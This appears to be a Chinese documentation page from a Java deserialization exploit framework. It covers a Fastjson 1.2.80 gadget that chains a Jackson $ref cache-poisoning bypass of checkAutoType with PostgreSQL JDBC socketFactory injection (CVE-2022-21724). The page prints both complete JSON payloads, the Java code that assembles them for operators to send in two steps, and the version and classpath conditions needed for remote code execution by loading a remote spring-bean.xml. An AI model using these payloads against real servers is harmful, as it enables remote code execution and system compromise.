- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
org.postgresql:postgresql(org.postgresql.Driver),版本9.4.1208 <= x < 42.2.25或42.3.0 <= x < 42.3.2;1.2.75 < fastjson <= 1.2.80
FastjsonPostgreSQLJdbc 面向 Fastjson 1.2.80 的升级版。1.2.68 用的 java.lang.AutoCloseable 期望类绕过在 1.2.76+ 已被封堵,本 gadget 改用 Jackson 异常类 $ref 引用链这一 1.2.80 的通用 checkAutoType 绕过(Jackson InputCoercionException / UTF8StreamJsonParser 借助 $ref 自引用把类加入白名单缓存),随后仍走 PostgreSQL PGCopyInputStream → PgConnection 的 socketFactory 注入加载 spring-bean.xml 实现 RCE。
- 入口
tags:FastjsonPayload、ENDFastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。END:链尾,无下游。
- 衔接
nextTags:无。 excludes:无。
getObject 无入参,把两段模板拼成分两步发送的 payload(内含 [INFO] Step1/Step2 提示,供操作者按序投递):
public Object getObject() {
return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.url);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}Step1(template1)—— 1.2.80 绕过预热:
{
"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}",
"b":{"$ref":"$.a.a"},
"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}",
"d":{"$ref":"$.c.c"}
}这是 1.2.80 公开的 Jackson gadget 绕过:先用 java.lang.Exception 作期望类实例化 InputCoercionException,再借 $ref 触发对其内部处理器的解析,把 UTF8StreamJsonParser 等类喂进 Fastjson 的 mappings 缓存,使后续 @type 直接命中缓存、跳过 checkAutoType。
Step2(template2)—— PostgreSQL socketFactory 注入:
{
"x1": {
"@type": "java.io.InputStream",
"@type": "org.postgresql.copy.PGCopyInputStream",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [ { "host": "127.0.0.1", "port": 2333 } ],
"user": "root",
"database": "root",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "%s"
}
}
}
}- 外层
@type: java.io.InputStream+@type: org.postgresql.copy.PGCopyInputStream:借PGCopyInputStream作为可被InputStream期望类接受的载体,其connection字段触发PgConnection实例化。 PgConnection的info.socketFactory = ClassPathXmlApplicationContext+socketFactoryArg = %s:与 1.2.68 版同理,驱动建连时new ClassPathXmlApplicationContext(url)远程加载spring-bean.xml→ RCE(CVE-2022-21724)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
指定加载 spring-bean.xml 文件路径 | Spring Bean XML 地址,支持 http/file 协议(http://127.0.0.1:8080/bean.xml、file://xxx/bean.xml) |
无(须填) | — |
- Fastjson
1.2.75 < x <= 1.2.80:AutoCloseable绕过已失效,改用 Jackson 异常$ref缓存投毒绕过checkAutoType(须分两步发送,Step1 先污染缓存,Step2 再打 sink)。 - PostgreSQL 驱动版本约束同 1.2.68 版:
9.4.1208 <= x < 42.2.25或42.3.0 <= x < 42.3.2。 - 目标 classpath 须有 Jackson(
com.fasterxml.jackson.core.*)与 Spring。 - 出网:需目标可访问
url指向的 XML。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 低版本对照:FastjsonPostgreSQLJdbc(Fastjson
<= 1.2.68)。 - 同族 Fastjson JDBC sink:FastjsonMySQLJdbc、FastjsonH2Jdbc
- 上游入口:
Fastjson/Fastjson2系 Payload(FastjsonPayload标签)。